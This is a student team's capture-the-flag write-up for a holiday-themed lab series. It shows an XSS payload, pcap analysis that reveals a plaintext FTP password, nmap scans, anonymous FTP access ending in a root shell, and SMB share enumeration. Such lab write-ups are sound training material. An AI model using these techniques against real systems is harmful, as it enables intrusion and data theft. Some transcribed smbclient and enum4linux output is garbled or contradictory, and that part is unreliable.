

Week 3

Writeup

Group Name:HUSTLERS

Members

ID	Name	Role
1211100708	Muhammad Faiz Bln Mohd Fauzi	leader
1211101962	Barath A L Saravanan	member
1211101804	AKHILESHNAIDU A/L JAYA KUMAR	member

Day 6 - [Web Exploitation] Be careful with what you wish on a Christmas night
Tools used = Kali linux, Firefox

Question 1&2

Allow List Regular Expression Examples

Validating a U.S. Zip Code (5 digits plus optional -4)

```
^\d{5}(-\d{4})?$/
```

Validating U.S. State Selection From a Drop-Down Menu

```
^(AA|AE|AP|AL|AK|AS|AZ|AR|CA|CO|CT|DE|DC|FM|FL|GA|GU|HI|ID|IL|IN|IA|KS|KY|LA|ME|MH|MD|MA|MI|MN|MS|MO|MT|NE|NV|NH|NJ|NM|NY|NC|ND|MP|OH|OK|OR|PW|PA|PR|RI|SC|SD|TN|TX|UT|VT|VI|VA|WA|WV|WI|WY)$
```

Question 3

The screenshot shows a web browser window with the URL 10.10.244.224:5000. The page title is "Welcome to Santa's official 'Make a Wish!' website". The background features a decorative border of pinecones, red and silver ornaments, and stars. The text on the page reads: "Here you can anonymously submit your Christmas wishes and see what other people wished too!". Below this, there is a search bar with the placeholder "Search query" and a section titled "Showing all wishes:" which is currently empty.

Question 4

Welcome to Santa's official 'Make a Wish!' website

YEAR 2020

Here you can anonymously submit your Christmas wishes and see what other people wished too!

Search query

Alerts 0 0 0 0 Primary Proxy: localhost:8080 Current Scans 0 0 0 0 0 0 0 0

Question 5&7

5 Alerts and 2 Cross site scripting

Question 6

Coding in Javascript

```
<p></p><script>alert(1);</script><p></p>
```

Day 7 [Networking] The Grinch Really Did Steal Christmas

Tools used: Wireshark,Kali linux, Firefox

Question 1

IP address that initiates an ICMP/ping

17	10.43.447	10.11.3.2	10.10.15.52	ICMP
----	-----------	-----------	-------------	------

Question 2

filter would we use to see HTTP GET requests in our "pcap1.pcap" file

http.request.method == GET

Question 3

name of the article that the IP address "10.10.67.199" visited

365 GET /posts/reindeer-of-the-week/ HTTP/1.1

Question 4

password was leaked during the login process

```
220 Welcome to the TBFC FTP Server!.
USER elfmcskidy
331 Please specify the password.
PASS plaintext_password_fiasco
538 Login incorrect.
SYST
538 Please login with USER and PASS.
QUIT
221 Goodbye.
```

Question 5

the name of the protocol that is encrypted

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000	10.10.122.128	10.11.3.2	SSH	182	Server: Encrypted packet (len=48)

Question 8&9

Elf McSkidy's wishlist that will be used to replace Elf McEager and the author of Operation Artic Storm

```
Wish list for Elf McSkidy
_____
Budget: £100
x3 Hak 5 Pineapples
x1 Rubber ducky (to replace Elf McEager)
```

STRICTLY CONFIDENTIAL

Author: Kris Kringle

Revision Number: v2.5

Date of Revision: 14/11/2020

Day 8 - [Networking] What's Under the Christmas Tree?

Tools used: Kali Linux, nmap,Firefox

Solution/walkthrough:

Question 1

Open browser to search about snort

1998

Snort is a free and open source network intrusion prevention system (NIPS) and network intrusion detection system (NIDS) **created** by Martin Roesch in 1998.

Question 2,3,4,5 and 6

Using Nmap ip address to get the number of ports, the name of the Linux distribution that is running, the version of apache and what this website for.

```
PORT      STATE SERVICE          VERSION
80/tcp    open  http           Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: Hugo 0.78.2
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: TBFC's Internal Blog
2222/tcp  open  ssh            OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 cf:c9:99:d0:5c:09:27:cd:a1:a8:1b:c2:b1:d5:ef:a6 (RSA)
|   256 4c:d4:f9:20:6b:ce:fc:62:99:54:7d:c2:b4:b2:f2:b2 (ECDSA)
|_  256 d0:e6:72:18:b5:20:89:75:d5:69:74:ac:cc:b8:3b:9b (EdDSA)
3389/tcp  open  ms-wbt-server xrdp
MAC Address: 02:FA:6A:FB:3C:BB (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=12/8%T=80%CT=1%CU=30072%PV=Y%DS=1%DC=D%G=Y%M=02FA6A%T
OS:M=5FCFA9BA%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%TS=A
OS:)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M2301ST11NW7%O2=M23
OS:01ST11NW7%O3=M2301NNT11NW7%O4=M2301ST11NW7%O5=M2301ST11NW7%O6=M2301ST11)
OS:WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN(R=Y%DF=Y%T=40%W=
OS:F507%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=0%A=S+%F=AS%RD=0%Q=)T2(R=N
OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0
OS:%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7
OS:(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=
OS:0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
```

Day 9 - [Networking] Anyone can be Santa!

Tools used = KALI LINUX, FIREFOX

Question 1

```
File Actions Edit View Help
dpoint@kali: ...ckme/dpointy  dpoint@kali: ...mas-tryhackme  dpoint@kali: ...mas-tryhackme

ftp> whomai
?Invalid command
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2 0          0          4096 Nov 16 15:04 backups
drwxr-xr-x  2 0          0          4096 Nov 16 15:05 elf_workshops
drwxr-xr-x  2 0          0          4096 Nov 16 15:04 human_resources
drwxrwxrwx  2 65534    65534      4096 Nov 16 19:35 public
226 Directory send OK.
ftp> cd public
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--  1 111     113      341 Nov 16 19:34 backup.sh
-rw-rw-rw-  1 111     113      24 Nov 16 19:35 shoppinglist.txt
226 Directory send OK.
ftp> get backup.sh
local: backup.sh remote: backup.sh
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.sh (341 bytes).
226 Transfer complete.
341 bytes received in 0.00 secs (119.5290 kB/s)
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--  1 111     113      341 Nov 16 19:34 backup.sh
-rw-rw-rw-  1 111     113      24 Nov 16 19:35 shoppinglist.txt
226 Directory send OK.
ftp> 
```

```
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2 0          0          4096 Nov 16 15:04 backups
drwxr-xr-x  2 0          0          4096 Nov 16 15:05 elf_workshops
drwxr-xr-x  2 0          0          4096 Nov 16 15:04 human_resources
drwxrwxrwx  2 65534    65534      4096 Nov 16 19:35 public
226 Directory send OK.
ftp> 
```

Backups,elf_workshops,human_resources and public found on FTP site.

Question 2

Directory on the FTP server that has data accessible by the "anonymous" user is public

```
File Actions Edit View Help
dpoint@kali: ...ckme/dpointyt  dpoint@kali: ...mas-tryhackme
└$ ls
aoc-pcaps      big.txt    christmas.zip  php-reverse-shell.jpg.php  sqlmap-dev
aoc-pcaps.zip  christmas  notes.txt       santabasesqlmap        wordlist

└(dpoint@kali)-[~/Desktop/tryhackme/dpointyt/christmas-tryhackme]
└$ ftp 10.10.182.64
Connected to 10.10.182.64.
220 Welcome to the TBFC FTP Server!.
Name (10.10.182.64:dpoint): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> whomai
?Invalid command
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2 0          0          4096 Nov 16 15:04 backups
drwxr-xr-x  2 0          0          4096 Nov 16 15:05 elf_workshops
drwxr-xr-x  2 0          0          4096 Nov 16 15:04 human_resources
drwxrwxrwx  2 65534     65534     4096 Nov 16 19:35 public
226 Directory send OK.
```

Question 3

Backup.sh script gets executed within this directory?

```
File Actions Edit View Help
dpoint@kali: ...ckme/dpointyt  dpoint@kali: ...mas-tryhackme  dpoint@kali: ...mas-tryhackme
└(dpoint@kali)-[~/Desktop/tryhackme/dpointyt/christmas-tryhackme]
└$ ls
aoc-pcaps      backup.sh  christmas      notes.txt       santabasesqlmap  wordlist
aoc-pcaps.zip  big.txt    christmas.zip  php-reverse-shell.jpg.php  sqlmap-dev

└(dpoint@kali)-[~/Desktop/tryhackme/dpointyt/christmas-tryhackme]
└$ subl backup.sh

└(dpoint@kali)-[~/Desktop/tryhackme/dpointyt/christmas-tryhackme]
└$ subl backup.sh

└(dpoint@kali)-[~/Desktop/tryhackme/dpointyt/christmas-tryhackme]
└$ █
```

Question 4

```
File Edit Selection Find View Goto Tools Project Preferences Help
◀ ▶ backup.sh x shoppinglist.txt x
1 |The Polar Express|Movie
2
```

```
dpoint@kali:~/Desktop/tryhackme/dpointy/christmas-tryhackme
File Actions Edit View Help
dpoint@kali:..ckme/dpointy dpoint@kali:..mas-tryhackme dpoint@kali:..mas-tryhackme

usr
var
vmlinuz
vmlinuz.old
root@tbfc-ftp-01:/# pwd
pwd
/
root@tbfc-ftp-01:/# cd /root
cd /root
root@tbfc-ftp-01:~# ls
ls
flag.txt
root@tbfc-ftp-01:~# cd /public
cd /public
bash: cd: /public: No such file or directory
root@tbfc-ftp-01:~# find / -type f -name shoppinglist.txt
find / -type f -name shoppinglist.txt
/opt/ftp/public/shoppinglist.txt
find: '/proc/1243': No such file or directory
find: '/proc/1244': No such file or directory
find: '/proc/1245': No such file or directory
find: '/proc/1246': No such file or directory
root@tbfc-ftp-01:~# cd /opt/ftp/public/
cd /opt/ftp/public/
root@tbfc-ftp-01:/opt/ftp/public# cat shoppinglist.txt
cat shoppinglist.txt
The Polar Express Movie
root@tbfc-ftp-01:/opt/ftp/public#
```

Christmas shopping list movie - The Polar Express

Question 5

```
dpoint@kali:~/Desktop/tryhackme/dpointyt/christmas-tryhackme
File Actions Edit View Help
dpoint@kali:..ckme/dpointy [ ] dpoint@kali:..mas-tryhackme [ ] dpoint@kali:..mas-tryhackme [x]
usr
var
vmlinuz
vmlinuz.old
root@tbfc-ftp-01:/# pwd
pwd
/
root@tbfc-ftp-01:/# cd /root
cd /root
root@tbfc-ftp-01:~# ls
ls
flag.txt
root@tbfc-ftp-01:~# cd /public
cd /public
bash: cd: /public: No such file or directory
root@tbfc-ftp-01:~# find / -type f -name shoppinglist.txt
find / -type f -name shoppinglist.txt
/opt/ftp/public/shoppinglist.txt
find: '/proc/1243': No such file or directory
find: '/proc/1244': No such file or directory
find: '/proc/1245': No such file or directory
find: '/proc/1246': No such file or directory
root@tbfc-ftp-01:~# cd /opt/ftp/public/
cd /opt/ftp/public/
root@tbfc-ftp-01:/opt/ftp/public cat shoppinglist.txt
cat shoppinglist.txt
The Polar Express Movie
root@tbfc-ftp-01:/opt/ftp/public#
```

Day 10 -[Networking] Don't be sElfish!

Tools used = KALI LINUX, FIREFOX

```
kali@kali:~
```

File Actions Edit View Help

Starting enum4linux v0.9.1 (http://labs.portcullis.co.uk/application/enum4linux/) on Sat Jun 25 11:28:39 2022

(Target Information)

Target 10.10.27.74

RID Range 500-550,1000-1050

Username

Password ''

Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

(Enumerating Workgroup/Domain on 10.10.27.74)

[+] Got domain/workgroup name: TBFC-SMB-01

(Session Check on 10.10.27.74)

[+] Server 10.10.27.74 allows sessions using username '', password ''

(Getting domain SID for 10.10.27.74)

Domain Name: TBFC-SMB-01

Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup

(Users on 10.10.27.74)

index: 0x1 RID: 0x3e0 acb: 0x00000010 Account: elfmaskidv Name: Desc:
index: 0x1 RID: 0x3e0 acb: 0x00000010 Account: elfmceager Name: elfmceager Desc:
index: 0x3 RID: 0x3e9 acb: 0x00000010 Account: elfmcelFerson Name: Desc:

user:[elfmaskidv] rid:[0x3e0]
user:[elfmceager] rid:[0x3e0]
user:[elfmcelFerson] rid:[0x3e9]

enum4linux complete on Sat Jun 25 11:28:55 2022

```
[kali㉿kali:~]# ./smbclient 10.10.27.74/tbfc-hr
Password for [WORKGROUP]\kali:

10.10.27.74/tbfc-hr: Not enough ``\` characters in service
Usage: smbclient [-U[domain]\username] [-W[workgroup]] [-I[ip-address|IP]] [-E[encoding]] [-L[list-HOST]] [-T[tar<-c>|x]XvgbMan] [-D[directory-DIR]] [-c[command-STRING]] [-b[send-buffer-BYTES]]
[-m[map-SECONDS]] [-p[port]] [-g[grep-expr]] [-e[enable-LEVEL]] [-d[debug-stdout]] [-s[config-file]] [-o[option-value]] [-l[log-baseName+LOGFILEBASE]]
[-r[task-report]] [-R[task-report-full]] [-S[service-SCOPING]] [-N[no-kerberos]] [-C[check-socketOPTs]] [-A[avocatofox]] [-M[map-METHOD]] [-O[option-SCOPE]]
[-w[workgroup-WORKGROUP]] [-r[real=REALM]] [-U[user:[DOMAIN]\USERNAME|[KPASSWD]]] [-N[no-pass]] [-password-STRING] [-p[net-Hash]] [-A[authentication-file=FILE]] [-P[password]] [-s[simple-bind-dn=DN]
[-use-kerberos][desired-required] [-use-krb5-cache=CACHE]] [-use-wbinfo-cache] [-client-protection-sign|encrypt|off] [-k[kerberos]] [-V[version]] [OPTIONS] service <password>

[kali㉿kali:~]# ./smbclient 10.10.27.74/tbfc-santa
Password for [WORKGROUP]\kali:

You've learned the fundamentals of how a very commonplace protocol used by computing devices works, and ultimately, can be leveraged through the use of
enumeration and misconfiguration. With this said, you might be surprised to learn that even printers can use the protocols behind Samba. smbclient has created a
local root on Santa's Hackbox.

10.10.27.74/tbfc-santa: Not enough ``\` characters in service
Usage: smbclient [-U[domain]\username] [-W[workgroup]] [-I[ip-address|IP]] [-E[encoding]] [-L[list-HOST]] [-T[tar<-c>|x]XvgbMan] [-D[directory-DIR]] [-c[command-STRING]] [-b[send-buffer-BYTES]]
[-m[map-SECONDS]] [-p[port]] [-g[grep-expr]] [-e[enable-LEVEL]] [-d[debug-stdout]] [-s[config-file]] [-o[option-value]] [-l[log-baseName+LOGFILEBASE]]
[-r[task-report]] [-R[task-report-full]] [-S[service-SCOPING]] [-N[no-kerberos]] [-C[check-socketOPTs]] [-A[avocatofox]] [-M[map-METHOD]] [-O[option-SCOPE]]
[-w[workgroup-WORKGROUP]] [-r[real=REALM]] [-U[user:[DOMAIN]\USERNAME|[KPASSWD]]] [-N[no-pass]] [-password-STRING] [-p[net-Hash]] [-A[authentication-file=FILE]] [-P[password]] [-s[simple-bind-dn=DN]
[-use-kerberos][desired-required] [-use-krb5-cache=CACHE]] [-use-wbinfo-cache] [-client-protection-sign|encrypt|off] [-k[kerberos]] [-V[version]] [OPTIONS] service <password>

[kali㉿kali:~]# ./smbclient //10.10.27.74/tbfc-santa
Password for [WORKGROUP]\kali:
Try 'ls' to get a list of possible commands.
smb: > ls
.
D 0 Wed Nov 11 21:12:07 2020
..
D 0 Wed Nov 11 21:12:07 2020
jingle-tunes
D 0 Wed Nov 11 21:10:41 2020
note_from_msckidy.txt
N 143 Wed Nov 11 21:12:07 2020

10252564 blocks of size 1024. 5368116 blocks available
smb: > get note_from_msckidy.txt
getting file note_from_msckidy.txt of size 143 as note_from_msckidy.txt (0.0 Kilobytes/sec) (average 0.0 Kilobytes/sec)
smb: > cd jingle-tunes
smb: > ls
.
D 0 Wed Nov 11 21:10:41 2020
..
D 0 Wed Nov 11 21:12:07 2020

10252564 blocks of size 1024. 5368136 blocks available
Question #1 Using enum4linux, how many users are there on the Samba server? (10.10.27.74)

Answer: 10
Submit Question
```

All answers for questions 1,2,3,4,5 are displayed in these screenshots.

It basically shows the amount of users.
And share that does not require password.
directory did ElfMcSkidy leave for Santa- (jingle-tunes)